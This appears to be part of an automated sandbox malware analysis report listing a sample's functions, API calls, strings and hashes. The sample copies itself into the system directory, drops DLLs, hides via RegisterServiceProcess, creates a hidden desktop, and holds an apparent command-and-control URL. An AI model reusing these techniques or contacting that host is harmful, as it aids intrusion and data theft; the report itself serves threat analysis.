SetFocus.USER32 ref: 00407826
SetFocus.USER32 ref: 00407839
SetFocus.USER32 ref: 00407852
SetFocus.USER32 ref: 00407865
SetFocus.USER32 ref: 00407878
SetFocus.USER32 ref: 0040788B
CallWindowProcA.USER32(00000000,?,?,?,?), ref: 00407909

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: Focus$CallProcWindow
String ID:
API String ID: 2401821148-0
Opcode ID: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction ID: 67d25c2989ca0d32993d4aa71a0b11dc39683739a3ff9c0c7d6bcfde353c753a
Opcode Fuzzy Hash: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction Fuzzy Hash: 6F318233E082149BDF21FB29ED848DA7726A751324715C43AE550B32B1DB787C91CB6E

Function 004036B3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036F4
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403715
WriteFile.KERNEL32(00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000), ref: 00403728
CloseHandle.KERNEL32(00000000,00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?), ref: 00403734

Strings

Y&-v, xrefs: 004036BA

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: File$Write$CloseCreateHandlePointer
String ID: Y&-v
API String ID: 2529654636-852306816
Opcode ID: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction ID: 393fb1fac6dfb6d7043d4134058e676a256c67ba5a84656a07003a75d011006f
Opcode Fuzzy Hash: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction Fuzzy Hash: A401A772B4461439F62165758C43F9E365D8B41B78F208136F711BB1C1D6F97E0142BD

Function 00405613 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

FindFirstUrlCacheEntryA.WININET(*.*,?,00001F40), ref: 00405654
_stricmp.CRTDLL(?,?), ref: 00405679
FindNextUrlCacheEntryA.WININET(00000000,?,00001F40), ref: 004056C0
_stricmp.CRTDLL(?,?), ref: 004056D6

Strings

*.*, xrefs: 0040564F

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: CacheEntryFind_stricmp$FirstNext
String ID: *.*
API String ID: 747601842-438819550
Opcode ID: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction ID: aa6d97de36eacb02400b0bc5d5be45fc0d4f636131057f9c0ab70f2a458f06eb
Opcode Fuzzy Hash: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction Fuzzy Hash: AD21CF72E1005AABCB109A65CC018FBB6EEEB44398F1404F3F108F7290EB799E418F65

Function 0040431F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00404341
GetThreadDesktop.USER32(00000000), ref: 00404347
CreateDesktopA.USER32(blind_user,00000000,00000000,00000000,000000C7,00000000), ref: 00404376
SetThreadDesktop.USER32 ref: 00404394

Strings

blind_user, xrefs: 00404371

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: DesktopThread$CreateCurrent
String ID: blind_user
API String ID: 2384851093-487808672
Opcode ID: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction ID: 282a6fb7077f79b337956a50597d570250b08ff90f4541f666399335e01d3b83
Opcode Fuzzy Hash: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction Fuzzy Hash: 2C018471B442006FDB14B73E9C5276FA6D95BC0314F64403BA602F72D0E9B899018A5D

Function 00403840 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

printf.CRTDLL(HEX: ), ref: 00403863
printf.CRTDLL(%02X ,00000000), ref: 00403877
printf.CRTDLL(0042CC3A), ref: 00403890

Strings

HEX: , xrefs: 0040385E
%02X , xrefs: 00403872

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: printf
String ID: %02X $HEX:
API String ID: 3524737521-2568639716
Opcode ID: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction ID: 8eff4c8c66366255d0771bcdb7d8d21a427f9234d78b176c67630138abebef86
Opcode Fuzzy Hash: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction Fuzzy Hash: 43F0E972F05214BBD704DB9ADC4286E77A9DB9236473080FBF804631C0E9755F0086A9

Function 00403BBE Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.CRTDLL(?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403C8B
memcpy.CRTDLL(?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CAE
memcpy.CRTDLL(-0042AA50,?,00000006,?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CBE

Strings

MC, xrefs: 00403BFD

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: memcpy$memset
String ID: MC
API String ID: 438689982-3957011357
Opcode ID: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction ID: 0fabd55d67194886af3b95eda558b9f651b3b184c5d0290ca09bafd6d30b71fa
Opcode Fuzzy Hash: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction Fuzzy Hash: F131B661F08198AFDB00DFBDC84169EBFFA9B4A210F1480B6E884F7381D5789F059765

Function 004017AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004017CC
CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

Strings

{9BA05972-F6A8-11CF-A442-00A0C90A8F39}, xrefs: 004017D5

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceString
String ID: {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
API String ID: 1245325315-1222218007
Opcode ID: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction ID: 52c0c8d8f8a1b88d6522b4dea913535513547713cd70a2aa0dd21656c7656eb5
Opcode Fuzzy Hash: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction Fuzzy Hash: E1118673B102116FE710FEF5DC81BAB7AE89B00355F10483BE644F32D1E6B8A50286B9

Function 0040109B Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

signal.CRTDLL(0000000B,00000000), ref: 0040119C
signal.CRTDLL(00000008,00000000), ref: 004011B6
signal.CRTDLL(00000000), ref: 004011D5
raise.CRTDLL ref: 004011E3

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: signal$raise
String ID:
API String ID: 372037113-0
Opcode ID: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction ID: baa5ba32779064c34a5af0890878b5a2dbb5619b613b0807c362cc876063d63b
Opcode Fuzzy Hash: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction Fuzzy Hash: 4541B475A01204DFC720DF18EC84B5677B4FB08350F44457AEE14AB3E1E734A965CBAA

Function 0040447A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00404492
LocalAlloc.KERNEL32(00000040,-00000008,?), ref: 004044A4
sprintf.CRTDLL(?,%s%c%c,?,4EC4EBEE,?,00000040,-00000008,?), ref: 00404515

Strings

%s%c%c, xrefs: 0040450F

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlensprintf
String ID: %s%c%c
API String ID: 2176257816-3118753097
Opcode ID: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction ID: 40b1eb1d73d9c04af9a72cf5af1a140bd4a75b2e1492408562adfdfa8721cd8f
Opcode Fuzzy Hash: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction Fuzzy Hash: F9110B72E0406867DB009A9A88815AFFBB69FC5310F1641F7EA04B73C1D27CAD0193A5

Function 0040421F Relevance: 6.0, APIs: 4, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404255
RegSetValueExA.ADVAPI32(?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404273
RegCloseKey.ADVAPI32(?,?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?), ref: 0040427F

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction ID: d96ef7c4080a9b633a5bca21bfcbc2c766a155132064e5ed691f16c3214ccdec
Opcode Fuzzy Hash: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction Fuzzy Hash: B801F772B10109BBCF11AEB5CC02F9EBEBA9F84340F240476B704F61E0D675D9116718

Function 0040429C Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042EF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042FB

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction ID: 691f158720e2b36127ee9bd81ba90e70b5a5535aabeb9bf87ba7554e5ddc9d88
Opcode Fuzzy Hash: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction Fuzzy Hash: 9801F271B1410ABACF109E25CC02BEEBFA99F94390F140472BE04F61E1D374EE11A3A9

Function 00403743 Relevance: 6.0, APIs: 4, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403769
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403780
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403798
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080), ref: 0040379E

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction ID: cf1cf3c615f6ac6775c7614bbea78a1f327309af87cada33f382846b8ae172d8
Opcode Fuzzy Hash: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction Fuzzy Hash: 1BF0E972B442143AE62029758C03FDE355D8B41B78F144131FB10FB1D1D5B8BA0142AD

Function 0040185F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,?), ref: 004018E2
_sleep.CRTDLL(00000000), ref: 00401985

Strings

Microsoft Internet Explorer, xrefs: 004018E9

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: TextWindow_sleep
String ID: Microsoft Internet Explorer
API String ID: 2600969163-3125735337
Opcode ID: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction ID: b939d44f97a8665b9279395720dceab0b5e56fea97a4cdd5017e5321b1dcff8d
Opcode Fuzzy Hash: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction Fuzzy Hash: 0B511D71A00215EFDB20CFA8D884BAAB7F4BB18315F5041B6E904E72A0D7749995CF59

Function 0040682B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406753: CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
Part of subcall function 00406753: GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
Part of subcall function 00406753: CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

_sleep.CRTDLL(000927C0,00418E30,http://tat-neftbank.ru/kkq.php,ofs_kk), ref: 00406854

Strings

http://tat-neftbank.ru/kkq.php, xrefs: 00406840
ofs_kk, xrefs: 0040683B

Memory Dump Source

Source File: 00000001.00000002.1981311226.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1981277503.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981341185.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981406801.000000000042E000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981476066.000000000042F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981508164.0000000000436000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1981572847.0000000000438000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Nejhbi32.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize_sleep
String ID: http://tat-neftbank.ru/kkq.php$ofs_kk
API String ID: 4235044784-1201080362
Opcode ID: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction ID: fffe33e14b07b0123592d698d33e8a34a507cc30d1f0c5c96ad3af2b43ec03e4
Opcode Fuzzy Hash: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction Fuzzy Hash: ADD05E72B453043B9200757E9D07929F5CE4AA0AA83B9446BBA01F73F1E8F89E1151AB

Analysis Process: Ogjdllpi.exePID: 6604, Parent PID: 6544COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	542
Total number of Limit Nodes:	2

Executed Functions

Function 00406C29 Relevance: 82.5, APIs: 36, Strings: 11, Instructions: 264
windowthreadregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32(001F0001,00000000,QueenKarton_12), ref: 00406C50
CloseHandle.KERNEL32(00000000,00000000), ref: 00406C60
exit.CRTDLL(00000001,00000000,00000000), ref: 00406C67
GetVersionExA.KERNEL32(00418D50,00000000), ref: 00406C8A
GetSystemDirectoryA.KERNEL32(00429080,000000FF), ref: 00406C99
GetTickCount.KERNEL32 ref: 00406C9E
srand.CRTDLL(00000000,00418D50,00000000), ref: 00406CA4
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00418D50,00000000), ref: 00406CBE
rand.CRTDLL(00418D50,00000000), ref: 00406D03
rand.CRTDLL(00418D50,00000000), ref: 00406D2F
rand.CRTDLL(00418D50,00000000), ref: 00406D70
sprintf.CRTDLL(?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00406DA8
CopyFileA.KERNEL32(?,?,00000000), ref: 00406DBD
WinExec.KERNEL32(?,00000000), ref: 00406DEC
ExitProcess.KERNEL32(00000001,?,?,?,?,?,?,00418D50,00000000), ref: 00406E02
sprintf.CRTDLL(00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E1B
sprintf.CRTDLL(00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E3A
sprintf.CRTDLL(00408020,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E53
LoadCursorA.USER32(00000000,00007F00), ref: 00406E85
LoadIconA.USER32(00000000,00007F03), ref: 00406E9A
GetStockObject.GDI32(00000000), ref: 00406EA8
RegisterClassA.USER32(00000003), ref: 00406EC9
CreateWindowExA.USER32(00000000,QueenKarton,QueenKarton,00CA0000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00408020), ref: 00406EF3
CreateMutexA.KERNEL32(00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406F12

Part of subcall function 00402E06: GetVersion.KERNEL32 ref: 00402E22
Part of subcall function 00402E06: GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
Part of subcall function 00402E06: CloseHandle.KERNEL32(?), ref: 00403065

GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F21
GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F32
GetProcAddress.KERNEL32(00000000,RegisterServiceProcess), ref: 00406F3D
GetCurrentProcessId.KERNEL32(00000000,RegisterServiceProcess,kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll), ref: 00406F57
CreateThread.KERNEL32(00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F84
CloseHandle.KERNEL32(00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F8A
CreateThread.KERNEL32(00000000,00000000,004068B0,00000000,00000000,?), ref: 00406FA3
CloseHandle.KERNEL32(00000000,00000000,00000000,004068B0,00000000,00000000,?,00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406FA9
SetTimer.USER32(00000001,000001F4,00000000,00000000), ref: 00406FBD
TranslateMessage.USER32(?), ref: 00406FC8
